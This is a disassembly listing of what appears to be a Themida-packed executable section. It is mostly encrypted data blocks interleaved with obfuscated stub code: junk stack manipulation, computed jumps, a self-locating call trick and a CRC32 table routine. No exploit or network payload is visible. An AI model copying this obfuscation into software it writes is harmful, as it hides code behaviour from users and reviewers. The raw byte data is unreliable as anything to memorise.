		dd 0E906AF1Eh, 0FFF96012h, 0AF204F68h, 6008E906h, 2346FFF9h
		dd 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh, 6506A9FDh, 64159228h
		dd 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh, 0D1551C3Fh, 35759755h
		dd 0FB606F4h, 5EFF62C9h, 76158E13h, 0E6DF9AB7h,	0EB5E7A0h
		dd 0E1FFAED8h, 6AC5B5FFh, 7B3E53BCh, 0D0B3E536h, 0FFE20E16h
		dd 26B0AAB5h, 715CEE1Eh, 33A80071h, 73746072h, 0E8931477h
		dd 0B4000002h, 43F12201h, 51B8C2F8h, 33B5FFEDh,	9766A018h
		dd 14B36553h, 5DEF1BA0h, 0BA0D8552h, 119A0730h,	44E218A3h
		dd 0D850602h, 0C553FCBAh, 0BF6CED1Fh, 3056C0B5h, 0BF38708Ah
		dd 210AC0B5h, 0B5BFA199h, 0DFC863C0h, 64A5C82Bh, 11958EC3h
		dd 204E8FAEh, 0F6EF3865h, 75F897D2h, 9FA39E8h, 324h, 1694DD7Ch
		dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh
		dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h,	6F4F733h
		dd 0A08FCDB6h, 0C7BF30BAh, 5DC7BEBFh, 53E84CDBh, 438E15B7h
		dd 0DB74B607h, 0D16BAD2Fh, 0E9CC4AEBh, 169BD678h, 66499305h
		dd 913288C5h, 0EA70BDF0h, 0FB697B60h, 0A8007D71h, 770555Eh
		dd 662F4EB6h, 24470142h, 8B74B7F3h, 2ACh, 9E2C6504h, 0C95D1835h
		dd 3F8BC266h, 6FBBFE94h, 58EEA3C4h, 0D3749ED3h,	87A7089Eh
		dd 0B1D37CCAh, 6201A2F8h, 0DD0F9F2Bh, 6F56FABh,	281755B6h
		dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 30F315B1h,	12B606F4h
		dd 3272F439h, 4EB606F4h, 423E3CE5h, 0A51470CFh,	1B7h, 9D5CFF7Eh
		dd 5AC7B0FDh, 0A7E3AAC9h, 0B1E913B9h, 93AF57D6h, 5B770B8h
		dd 27CF375Fh, 6841B3B2h, 58E508B2h, 74DFB600h, 58E72F2Fh
		dd 5983B600h, 59918933h, 0D873B600h, 383AFB50h,	1477504Ch
		dd 4FABh, 59BA7C00h, 6F387035h,	6F5076CDh, 0CC1682CFh
		dd 563BAh, 0D0F621B6h, 51810AAh, 41EAB600h, 5EE74D7h, 0CD84A766h
		dd 0DA5E4FD4h, 5080Ch, 0B2F79BB6h, 0DA9FB46Dh, 0E7482355h
		dd 0ADF2BFE0h, 0B61D837Ch, 0F8F1EDEDh, 0BC141477h, 2F000000h
		dd 7EF45CFFh, 18BCFC23h, 5B44625Bh, 4724743Dh, 0B3F0BDDEh
		dd 951A53F2h, 0FA20690Ch, 0D4EE2A5Ch, 7BD4AF58h, 4FB5573Dh
		dd 54AF58DAh, 0C4227831h, 7D4FFDB2h, 5BDDFB3Eh,	37D368CCh
		dd 0EBE3A6CCh, 0F3ED2E6Dh, 0CC16827Fh, 40C93BAh, 20C671B6h
		dd 357819FAh, 561B3CE3h, 83CE6FD0h, 27AB1865h, 0A8199AF3h
		dd 158h, 7AC089B0h, 0B5F1B4D9h,	0E3276E0Ah, 0D3571240h
		dd 482CF70h, 7718FABFh,	2343EC3Ah, 0D577D86Eh, 86A50E9Ch
		dd 79E37BCFh, 6F6CBCFh,	0D473B9B6h, 9CDE5EFFh, 0BBD486A6h
		dd 78B05AD6h, 2BAF5817h, 97804207h, 0A4C768BEh,	17A2E620h
		dd 0B760AF58h, 0FF6348DEh, 0C1B0F45Ch, 0CDB6DAEh, 126CACDEh
		dd 0FD56AF58h, 25439F04h, 5812A7E3h, 66B29DAFh,	57D39AB9h
		dd 6E2746A9h, 481EE8C1h, 929136FFh, 9D3F8820h, 0ED468026h
		dd 0D7B600AAh, 0C4654E7Ch, 0CBCB3D89h, 0D8B600AAh, 40AEFCB5h
		dd 0E6EF7836h, 0EF49F0AAh, 0BADA1F40h, 49951AF3h, 228FC666h
		dd 0B2ABE281h, 9E9966h,	0E7BC0000h, 0AED80EB5h,	0B606F4DFh
		dd 735C8AA5h, 4159ADFh,	0CF6E3794h, 0DD7F6086h,	9A1E0F94h
		dd 0A5EC8F30h, 81D1FE78h, 0BCD21D32h, 4DEBB4F9h, 0C8A1E88Ch
		dd 66CFE46Bh, 4ED744D7h, 66A02447h, 1D328222h, 0C85E37E0h
		dd 208DC467h, 996D37Fh,	0E358F098h, 0A59793D4h,	3FE04D26h
		dd 0B6CA5712h, 0DAE5743Dh, 357C1F80h, 0E5A708E3h, 0F89954FAh
		dd 4657DCB5h, 672E4DD2h, 743D6043h, 0EE8DFE2Fh,	0F7217AA7h
		dd 0CA83A20Dh, 5AB4DA1Ch, 0E9E1A8CBh, 83A3AD8Ch, 0E043D5CEh
		dd 31Fh, 0CBB03A00h, 8C1158FFh,	0F4397013h, 0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 529968FAh, 34890000h, 0E3895324h,	4C381h
		dd 0EB830000h, 241C8704h, 242C895Ch, 6F5D68h, 24048900h
		dd 4EC81h, 3C890000h, 5B74BF24h, 0CDBD7E80h, 31782F46h
		dd 8B545FFDh, 0C4812404h, 4, 8904EC83h,	0EA892414h, 5A085089h
		dd 5024048Bh, 405E089h,	5000000h, 4, 5C240487h,	5D2434FFh
		dd 4C481h, 83E90000h, 0FEFFF95Bh, 0D080959Fh, 0AEF161D2h
		dd 0B8C03EFEh, 6AF21CCh, 0E0FFC503h, 62B28DA2h,	3F80518Eh
		dd 494CFEDDh, 0A5C15A5h, 32D2D5DDh, 6AA03A8Ah, 5E88DF48h
		dd 3CA67968h, 7BCED3A2h, 36C363BCh, 155B09E4h, 9907B1Eh
		dd 0F96F023h, 229BB775h, 6D9BC8B0h, 42846C25h, 1BC748C0h
		dd 7ABBD2ABh, 0C14C298h, 231B8D8Dh, 8E806AFh, 24000000h
		dd 0E2B9E30Dh, 5AEA078Ah, 5B98D89h, 858906A8h, 6A821D5h
		dd 146985C7h, 5D2406A8h, 0FEB30000h, 0BBD85C7h,	6A8h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 4122B4C3h, 0F03D4EDh, 89h, 9B5FF00h,	8906A835h, 0A81BC9B5h
		dd 0DD95FF06h, 906A820h, 0A807D59Dh, 0FF006A06h, 0A81B3195h
		dd 0EBC08B06h, 12B39568h, 572A5FFCh, 6B429AEDh,	1CA20875h
		dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 267BDBBBh, 62973AFDh
		dd 238C3B9h, 3F00736Ah,	20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h
		dd 38B9486h, 0B7C31E04h, 0E35500A9h, 2B636DC1h,	0B4530A6Fh
		dd 2C1184EAh, 0ABD6E574h, 0AD292D26h, 0C4E6894h, 99F4FF14h
		dd 795056C9h, 0E7AC3129h, 11E837h, 0C0D40000h, 3D65FCC0h
		dd 995766CCh, 483CA71Ah, 0E8B6DF9Ah, 12h, 0CB314EE7h, 93D83C17h
		dd 0D10E6CFBh, 0D9CF4D49h, 0BF0F343Bh, 815B5AD7h, 6F31C3h
		dd 33C28B00h, 1D858BC9h, 8B06A81Ch, 8B660B34h, 0D9F681C2h
		dd 0F116ECCh, 689h, 81858B00h, 8106A82Fh, 1986A2F6h, 43C68109h
		dd 10F309Ch, 0A80B29B5h, 0B348906h, 48B0Fh, 0B8660000h
		dd 0BD099948h, 6A83375h, 8902E983h, 0A830558Dh,	8B494906h
		dd 0A81EF995h, 9CF98106h, 0FFFFF91h, 2585h, 12E800h, 6FBF0000h
		dd 0E4E801DEh, 0F850EF7Ah, 0FD9D19D2h, 0EC0D4FBFh, 1DE95Ah
		dd 532A0000h, 0B6C2D9D4h, 0CC80A07Eh, 0FF79E982h, 9594FFFFh
		dd 4F67DBB7h, 0AF631145h, 0E97E59CAh, 31h, 5CA638DAh, 0Bh dup(0)
		dd 561E900h, 0C3660000h, 0FE933C8Ah, 0A4C46FBBh, 58F659EDh
		dd 526891Dh, 4475F248h,	5AE0ADCEh, 961459F9h, 0C0460F2Dh
		dd 31753C5Fh, 1515B7B5h, 0EFB606FBh, 5CFF82A9h,	73B0FD9Dh
		dd 53A5413Ah, 88EFE66Fh, 22811739h, 0B219B2C4h,	3AD7D375h
		dd 82ADAF58h, 6860C948h, 0BE3E5FC0h, 588D0C0Ch,	645DF6AFh
		dd 97DE7D26h, 0B3FA990Ah, 0DD98B56Eh, 41798329h, 3AF588Dh
		dd 0B0238028h, 642949AAh, 0CFD65F34h, 0FEA1E5ACh, 3093175Eh
		dd 727880Ch, 8D88804Ah,	0EF72AF58h, 0A4E46F83h,	0EFD87373h
		dd 0C41E142h, 0D256F5DEh, 584970A8h, 0F952AFh, 9F343BA8h
		dd 57004A16h, 49DC07FAh, 763C637Bh, 0A223133Ah,	0C28BA976h
		dd 10B8DB44h, 49A639B8h, 0B2FFE872h, 587B6DA8h,	57D8DFAFh
		dd 0DF726F5Bh, 568E12h,	0BA910000h, 0D6AEEA1Ch,	3394AF57h
		dd 33655E13h, 2380C96Ch, 57D6DDDBh, 0ECA9C6AFh,	0F3BADE47h
		dd 690C7DAEh, 973C8320h, 91F78F0Eh, 0E5460F2Eh,	37AC0C49h
		dd 0D6706C6Eh, 19712DFh, 0A8000000h, 8A1752FFh,	0EC317419h
		dd 0D55A1F33h, 1D248D7Eh, 4EF13570h, 0FB20662Fh, 8E135EFFh
		dd 0F03D7815h, 511B8431h, 1E83CA6Eh, 6304AB0Dh,	8C19CECFh
		dd 0DE6BC57h, 0B67716B9h, 5851DE97h, 0C761C26Fh, 0A5BF218Eh
		dd 30CDCD7Fh, 9CB7AF58h, 0FCFEA71Ch, 12DF8EF0h,	0A217h
		dd 5EFF2800h, 1765F713h, 32794755h, 37339018h, 0BB3B7F89h
		dd 2E09AF58h, 0BB4A4EF8h, 1F38AF58h, 3B721699h,	5AE1FF6h
		dd 8A105DFEh, 8484C66Ch, 7EAF58BBh, 0BBDC43D5h,	52BDA9F6h
		dd 1515B733h, 0EFAF58BBh, 59FA6B44h, 1A9E8F14h,	77BCF995h
		dd 58C580AEh, 0BB407882h, 2902AF58h, 51DE9BB8h,	0BEE3AED0h
		dd 0D45DCE6Dh, 0B9E6AFCDh, 42297760h, 3015D1E1h, 3F3012DFh
		dd 0B000000h, 8E135EFFh, 0FF910650h, 4EF3AFC1h,	6E2745EAh
		dd 0F73F3EB8h, 319EA23Fh, 0BAE7A2D0h, 24543761h, 0BEDFE64Fh
		dd 0FF88B7F3h, 408A1752h, 0AF57D745h, 737F20B7h, 12DFD687h
		dd 166h, 59FFB900h, 6909EA10h, 0AAEFF24h, 2C650899h, 337A1E87h
		dd 5F1635EEh, 0FDA60FD2h, 0B97A537Eh, 22670CF7h, 0A30CACFDh
		dd 0CD7ECC85h, 2846356Fh, 0E0525134h, 12A9D3F7h, 0F0B600A8h
		dd 2A49DA47h, 0D97C2763h, 453E7B18h, 0A8181ED8h, 0E88BB600h
		dd 83A37CA1h, 19F261CEh, 6C471998h, 5899BCC3h, 6847D34h
		dd 6AB7FE9Dh, 4ED39AB9h, 4FF513CBh, 0A7FD3Dh, 0A26CC7B6h
		dd 0B600A866h, 80FBF35Ch, 8818FE07h, 199A71A7h,	9B9F2957h
		dd 69B60065h, 0A6C56ACEh, 7F35BEFh, 0E6147758h,	162h, 3B59BA39h
		dd 3C711172h, 0B572A6F7h, 0A50EBC07h, 551C4085h, 0B9E6DFC8h
		dd 155CFF60h, 0D3199F88h, 60254AB5h, 0FFBC0BC3h, 2C288DBAh
		dd 0E063E533h, 0A2B600F4h, 0DD725D89h, 96021B98h, 49832935h
		dd 2032E344h, 1317BF98h, 0F1B60155h, 2E4DD246h,	0DD802367h
		dd 0F7960F94h, 8AA708BEh, 0C16E2B47h, 79B2FFE8h, 60CD4C3Fh
		dd 3557FDBFh, 0B60154F5h, 1B1FA9CFh, 0E9B60155h, 5CC3554Eh
		dd 822A7039h, 1476A896h, 5E71h,	0B6E7CA00h, 4DADDF0Bh
		dd 372F57D7h, 5357971Ch, 502F57D7h, 5BDE852Dh, 7262E39Ch
		dd 0EB8B1499h, 8AD9D16Bh, 80AB2F58h, 0F9990A97h, 0FF3E6FB4h
		dd 0A016A50Eh, 1ABBAA0Bh, 0E503754Eh, 5DEFE493h, 2F58095Dh
		dd 0F7130C27h, 58095555h, 2B042F2Fh, 92D4DFFh, 3C17AF58h
		dd 7C65EEh, 0E7400000h,	0F7D80EB5h, 509A1E5Bh, 0A5736h
		dd 85A609B6h, 75DE60C8h, 9DD47728h, 0F275EF69h,	409229E5h
		dd 0DFC8551Ch, 22C8B2E6h, 4AEEA7C1h, 0E48746E5h, 0EF6FB4ADh
		dd 0B6005BA6h, 6407E812h, 4B4FF92Dh, 39B6005Ch,	80219A1Eh
		dd 0FBBED33Ch, 6C3365B6h, 813A80C9h, 0C872A813h, 0BCAF802Fh
		dd 2CF53A15h, 1CE34009h, 5DFFEEB7h, 0E186C0E6h,	0A3C35EA4h
		dd 0EBD43288h, 8B9C0148h, 0B5E7062Dh, 0C9AED80Eh, 0BBB606FBh
		dd 0ECD71390h, 8970148h, 359E2C65h, 8D25F16h, 10100EEDh
		dd 878E1784h, 0B619ADE4h, 0D051DE97h, 0E0C3E7A2h, 0F9AAF7B2h
		dd 0FB3D165Fh, 43ECC908h, 0B5D8193Ch, 1C8703FCh, 77F33079h
		dd 0F7BBFC9h, 0EE491010h, 3C54Ah, 0B0E00000h, 1158FFCBh
		dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
		dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8952FA4Ah, 4C281E2h
		dd 83000000h, 143304EAh, 24143124h, 5C241433h, 16B868h
		dd 240C8900h, 414568h, 24048900h, 0CBB5352h, 811E950Ch
		dd 0A43B49EBh, 0FFEB8112h, 8136F710h, 1656DEC3h, 0C3814B59h
		dd 6E160E6h, 0F75BDA89h, 0DFEA81D2h, 89C45F63h,	0EC815AD1h
		dd 4, 81242489h, 42404h, 51580000h, 9E243481h, 8F231038h
		dd 0BF570840h, 2310389Eh, 5F087831h
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 3E22h
		dd 7FD12C9Ch, 0B8FD93DAh, 6AF2945h, 0E0FFC503h,	4DDEF476h
		dd 14F8AD76h, 4938E3h, 0E385A58h, 6361F0B1h, 601C329Eh
		dd 687E7B4h, 585FA277h,	2F864678h, 433600A1h, 4F997C00h
		dd 7423241Dh, 6A05FD8Dh, 3BA033F3h, 0DE8h, 0A35E1F00h
		dd 52109AEBh, 2E2F5EF3h, 8E0FDB1Dh, 8, 28E0Fh, 5B510000h
		dd 0C281F85Ah, 5BF0h, 6840Fh, 0C8810000h, 4AAA5B7Fh, 16CBBEh
		dd 0F5565000h, 32FF585Bh, 9E8h,	0E18E3E00h, 584EDC27h
		dd 0BF0FA5B2h, 53595BD8h, 815FFA8Ah, 0EA1994F1h, 38A0F32h
		dd 66000000h, 0F181D88Bh, 60CB2C59h, 6CDD8DBBh,	0D0F18128h
		dd 663BEB74h, 0A89D88Bh, 5800Fh, 2FB80000h, 8329981Ah
		dd 0BF0F02EAh, 834A4ADFh, 850F01EEh, 27h, 11E9h, 74292200h
		dd 0B8FE20C0h, 5989BA69h, 0BA29C033h, 1AE96049h, 0AC000000h
		dd 0E2DF267Dh, 391D9400h, 0E970C99Bh, 0FFFFFF7Ah, 6780629Ch
		dd 4D74549Ah, 14E8CCh, 0D6B90000h, 1CFC8957h, 5D53293Bh
		dd 0AF3C5C47h, 0BB7AD82Dh, 9E8730Ch, 11000000h,	0D6E5742Ch
		dd 292D26ABh, 0C0816653h, 58582D61h, 12E85Eh, 47830000h
		dd 0FA004812h, 19B0D9C2h, 0BEA01E23h, 328EF141h, 33D08166h
		dd 0C6815844h, 753Ch, 0A2D88166h, 894DBAE6h, 0EA817839h
		dd 78396C35h, 0FFDE8B66h, 59D98A36h, 0AC78166h,	49E9812Ah
		dd 0F6AA6C3h, 0B80h, 5880F00h, 0B8000000h, 0DA91CDBh, 0F387C181h
		dd 0BF662173h, 0E9812B37h, 65747F11h, 1890Fh, 89FC0000h
		dd 8057600Eh, 0F85A8ADAh, 4EE8361h, 0E015EF81h,	0EA83770Eh
		dd 0F850F01h, 0B8000000h, 56676A39h, 21E9h, 5A168800h
		dd 8166E0C5h, 0E94BB4E8h, 0FFFFFF93h, 90929612h, 2BB304Dh
		dd 0C05789Bh, 161AAE15h, 0C08BBD84h, 1ED9BD83h,	750006A8h
		dd 0E9BD8309h, 6A82Dh, 53501974h, 21B8C08Bh, 89000004h
		dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh
		dd 17740006h, 21B85350h, 89000004h, 0A807B585h,	9B9D8D06h
		dd 0FF06AA9Eh, 8B585BD3h, 0D59D8BC0h, 0C606A831h, 0A815D585h
		dd 52685606h, 0FF9CA8B8h, 0A80F95B5h, 71858D06h, 0FF06AB69h
		dd 68046AD0h, 1000h, 1F01B5FFh,	6A06A8h, 0C085D0FFh, 0D850Fh
		dd 0B80000h, 8D000000h,	0A871208Dh, 8BE1FF06h, 3C38BC8h
		dd 0F8053C40h, 8B000000h, 0D3030C50h, 2065BD83h, 0F0006A8h
		dd 0E84h, 659D8B00h, 8B06A820h,	0A8051985h, 51038906h
		dd 1F858D52h, 0FF06A844h, 8BFA8BD0h, 8BD18BF1h,	0C6A4F3C8h
		dd 0A815D585h, 39685606h, 0FFD41F6Dh, 0A80F95B5h, 71858D06h
		dd 0FF06AB69h, 800068D0h, 6A0000h, 8BD0FF52h, 0D9BD83C0h
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 421h, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 421h,	0FD58589h, 9D8D06A8h, 6AA9EB4h
		dd 585BD3FFh, 9D8DC08Bh, 6A82065h, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	4B41B818h, 0EE80000h, 6C000000h
		dd 0D8E90424h, 533774B6h, 0B87AAF53h, 8B665AA5h, 99C281DAh
		dd 2B0000EAh, 0C68166FFh, 34FF7281h, 0F5F08117h, 5974CA25h
		dd 71C181F9h, 0B87CF607h, 61628CABh, 7E92C181h,	0C38B3BCFh
		dd 9E31E981h, 5E850BAh,	4B000000h, 2D6C7037h, 10E8h, 0E4060400h
		dd 0A39AA88h, 2DB9E47Dh, 0D807A8B2h, 5E6160F4h,	820F515Bh
		dd 15h,	10E9h, 9DEE0900h, 0B6C03AECh, 1FD93B6Ch, 0DEB2D349h
		dd 3A048FEEh, 75892EB8h, 78F78071h, 5301EF83h, 4F58D88Bh
		dd 0B70F4F4Fh, 34FF81F3h, 0FFFFF16h, 1785h, 26E900h, 5F640000h
		dd 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh,	8BBFECBEh
		dd 0FF58E95Fh, 339FFFFh, 0C1F36F2h, 0BE2A9497h,	0AE8h
		dd 75A97200h, 7818E57Eh, 609FC798h, 14E9h, 577D4F00h, 446FF16h
		dd 900E1D33h, 2668DCE9h, 0C615749Ch, 12E921h, 10AD0000h
		dd 82B582CFh, 0FC6A6593h, 1043D077h, 0BE695405h, 81665B61h
		dd 81A30BF0h, 7593C3h, 0CAB70F00h, 68h,	0C38B6600h, 0F3B70F5Ah
		dd 0F133C8Bh, 986h, 3890F00h, 0F000000h, 0F781C0BFh, 62460624h
		dd 81F18B66h, 0CB88ADEFh, 9810F3Ah, 60000000h, 8D51BB66h
		dd 61F3BF0Fh, 0C1E1C781h, 0BF0F6328h, 133C89F7h, 83D4E480h
		dd 8D0F02EAh, 3, 4ACF8B66h, 58C9814Ah, 8155B05Ch, 0FF8B58FAh
		dd 0B850FFFh, 0E9000000h, 34h, 10915EDDh, 8E0F01C3h, 15h
		dd 9E8h, 630A1F00h, 0B783ADDEh,	8E0F39E9h, 0
		dd 0FF76E959h, 11A5FFFFh, 858510C3h, 474D31F8h,	852790CCh
		dd 1B699D8Dh, 0A8B806A8h, 89000013h, 0A819C985h, 0E806h
		dd 5580000h, 0Dh, 0A8E90389h, 13h, 4E9h	dup(0)
		dd 0E9000000h, 0Fh, 3859280Ah, 2 dup(0)
		dd 0E9000000h, 4C6h, 8A105900h,	0C5410429h, 33773E5Ah
		dd 63A7E290h, 54D29FC0h, 0C768AACFh, 0F3933C8Ah, 0A5C768BEh
		dd 56F55EECh, 0C9138B1Fh, 7197BBFh, 240349B6h, 88155CFFh
		dd 0EF3B7617h, 0CB682144h, 2D723B5Ah, 7D12DF74h, 0CC088ED9h
		dd 39120C83h, 65CAA3F4h, 8D941D8Eh, 0C8092FEEh,	0ACF1EAA7h
		dd 9B04827Bh, 0A90AB0F9h, 60254A8Bh, 0A7F12A77h, 9BD272DDh
		dd 6DED8D16h, 57E0DFDBh, 918AA5AFh, 3FE0CD0Ch, 0BCF1927Dh
		dd 0D891B37Ch, 0B42E142h, 0E161A4A6h, 2242AF57h, 110A4FE3h
		dd 0D971138Ch, 0C91C2E5Eh, 327F68D0h, 0CA49EA43h, 787A3BB0h
		dd 12DF908Ch, 496Bh, 5CFFBC00h,	484E8815h, 0B2AF57D7h
		dd 827E7C25h, 4D12DFD6h, 298FC662h, 1EBh, 52FF3C00h, 74198A17h
		dd 5E439531h, 77161C45h, 0F9073A5h, 0C18CAE63h,	76A7E325h
		dd 0B29DAF58h, 0CF954D9h, 0B2F79CA3h, 0E1A8CB74h, 30BA7EA5h
		dd 47A0FAB2h, 0DD42D673h, 91D479BCh, 85AA7BB8h,	6DC63C0h
		dd 66B2FB9Dh, 7C1D248Dh, 2B4AF531h, 375B4462h, 0BCFC2D72h
		dd 7B3256CFh, 86CF6D36h, 0A9E08819h, 87288504h,	62C3A808h
		dd 0DF779450h, 67B312h,	0FF940000h, 158E135Eh, 0D89DB273h
		dd 0C469425Bh, 2A773A5Bh, 0E93DA79h, 0EE6D36A7h, 4E55DE4Fh
		dd 30BA602Dh, 4F1CC75Eh, 0C04AEE8Fh, 2E733E5Fh,	179CD975h
		dd 5959DAB1h, 12DF539Dh, 3FB8h,	5EFF8300h, 6FB4FD9Bh, 47D8453Eh
		dd 0B1C76C25h, 0D172793Ah, 0BAE00E9Ch, 57D70800h, 6CACDEAFh
		dd 56AF57D7h, 0D642EDFDh, 1752FFCDh, 0D745408Ah, 20B7AF57h
		dd 0D687737Fh, 16612DFh, 0B9000000h, 0F79859FFh, 4B2475BAh
		dd 571E3DE6h, 642D50B3h, 0D94AEE3Fh, 0A8F4BD16h, 0D6C0F802h
		dd 0A982AF57h, 0FE358051h, 1890F301h, 62B8F197h, 1AC07BD9h
		dd 649E0h, 93103BB6h, 0EC3A7312h, 42E12043h, 0B1AAEF83h
		dd 95935BD8h, 0EB60006h, 26FF2461h, 72E14E07h, 0C7991899h
		dd 5D10329Dh, 0B8BF60DBh, 0E54EDC95h, 1A20F46h,	0CC85A362h
		dd 62CB4ED3h, 1F9BBAC1h, 5ADEDh, 0C3BC97B6h, 0F9FBD747h
		dd 28021477h, 25000001h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h
		dd 70F315DFh, 76B60006h, 67ABEC8h, 6748B600h, 0F6278CC5h
		dd 0DA759B1Dh, 68A9CC55h, 7D1E8FCAh, 0C1BAF330h, 0D095BA25h
		dd 74DE5A53h, 0BCE1A8CBh, 0A40940E3h, 8D1257FBh, 0F63B7E14h
		dd 6B2E44A5h, 52D348C6h, 8E672A4Bh, 209AA03h, 389C2A63h
		dd 1477F94Ch, 47ABh, 0B6E77C00h, 0D78484C6h, 0D57EAF57h
		dd 5CBCCEFCh, 262F57D7h, 289FD90Dh, 0C8C07AB7h,	0BA2F5835h
		dd 0FBB85991h, 0E872D147h, 2F57F1B0h, 0F9E849E6h, 0DC420C58h
		dd 6E17730h, 2B4FF92Dh,	19AF580Ch, 7C67E83Eh, 42000000h
		dd 0D80EB5E7h, 0ACFAEh,	159AB5B6h, 1AA0E98Ch, 3A7F13FCh
		dd 0AB74A4F5h, 9A5CC188h, 0B6000C99h, 7114FFE5h, 0B2AFB38h
		dd 0D3CCDD42h, 3E45EE45h, 2AD0561Fh, 0B3E5A8C9h, 0CFFB40F4h
		dd 0C2367A1h, 36E1B600h, 0B1CE78E2h, 93BCAF4Eh,	8BAA7BB8h
		dd 0AFC45DC2h, 0B7DC45EAh, 1AAADF2h, 0C5EE11A0h, 99EF4D5Ch
		dd 0AF4F2B6Fh, 453E19BCh, 920A67A1h, 5FF8C35Eh,	0A0C22DCBh
		dd 0E7604BEDh, 0AFE686B5h, 9EA10B6h, 9C9C266Fh,	66AF57D7h
		dd 47816BCDh, 0B6071A2Ah, 17D4BA3Ch, 0D3E04482h, 1390BB45h
		dd 6CBAF392h, 0EA2E5886h, 0D8B6070Ch, 0D1008B2h, 59F2B607h
		dd 0C467C860h, 9C3A208Dh, 70D2E6Ah, 0FD3B14B6h,	0FD6D636Bh
		dd 189972F4h, 0EF3B7211h, 0B2E02144h, 55911EF7h, 0A961C56Ah
		dd 84B3A9E8h, 60CF6942h, 272A7732h, 7F1E258Eh, 694941FBh
		dd 103BF4FDh, 9A05E327h, 0BC63B5F8h, 0F253D099h, 3, 0FFCBB0D5h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 55E28952h
		dd 4BDh, 5DEA0100h, 8704EA83h, 525C2414h, 0C281E289h, 4
		dd 4EA81h, 14870000h, 2C895C24h, 2F906824h, 1C890000h
		dd 0C4BA5224h, 8170E973h, 0C543ADCAh, 19B95138h, 0C117AB29h
		dd 0E1C105E1h, 0E9814107h, 344F5EEFh, 8959CA31h, 0EC815AD5h
		dd 4, 81242489h, 42404h, 835B0000h, 2C8904ECh, 8438F24h
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		mov	ch, 0A1h
		fstp	tbyte ptr [ecx]
		mov	eax, 6AF4723h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		jl	short loc_5BE240
		db	2Eh
		adc	al, 5Ch
		jno	short loc_5BE20A
		pop	esi
		retn
; ---------------------------------------------------------------------------
		dd 0ED45560Eh, 0AE76994Fh, 2211F24Eh, 834D41A1h, 8221C5DCh
		dd 61290660h, 0C1756B1Eh, 432BB47Dh, 1329639Fh
; ---------------------------------------------------------------------------
		xor	edi, ebx


loc_5BE20A:				; CODE XREF: Themida_:005BE1E0j
		or	al, 66h
		hlt
; ---------------------------------------------------------------------------
		db 0F5h, 42h, 6Ch
; ---------------------------------------------------------------------------
		mov	dword ptr [eax+42h], 2B0036CBh
		cmp	byte ptr [edx],	0C9h
		sbb	eax, 13A4CF76h
		test	[esi+36h], ebx
		cmp	ebp, ebx
		inc	ebx
		mov	cl, 56h
		adc	al, 0Eh
		add	[esp+ecx*2], edi
		mov	ecx, 9D7E2Ah
		retn
; ---------------------------------------------------------------------------
		dw 0B26Bh
		dd 386D0742h, 7B27CD37h, 0E9587F9Ah
; ---------------------------------------------------------------------------


loc_5BE240:				; CODE XREF: Themida_:005BE1DBj
		cmp	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+6A80D35h]
		sub	edi, 4
		xor	ecx, ecx


loc_5BE250:				; CODE XREF: Themida_:005BE277j
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
		mov	esi, 8


loc_5BE25F:				; CODE XREF: Themida_:005BE268j
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5BE25F
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5BE250
		popa
		retn
; ---------------------------------------------------------------------------
		mov	ecx, eax
		lea	ecx, [ebp+6AF496Dh]
		push	0
		push	eax
		call	sub_5BE292
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE292	proc near		; CODE XREF: Themida_:005BE28Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BE292	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5BE2E7
; ---------------------------------------------------------------------------
		dd 97990A3Dh, 4DBD29FBh, 6006A817h, 0C6D958Bh, 840F06A8h
		dd 5, 0DADB8166h, 8D8961E6h, 6A805B9h, 1ADBD89h, 85C706A8h
		dd 6A81469h, 5F60h, 0E850006Ah,	3, 58C35820h
		db 89h,	44h, 24h
; ---------------------------------------------------------------------------


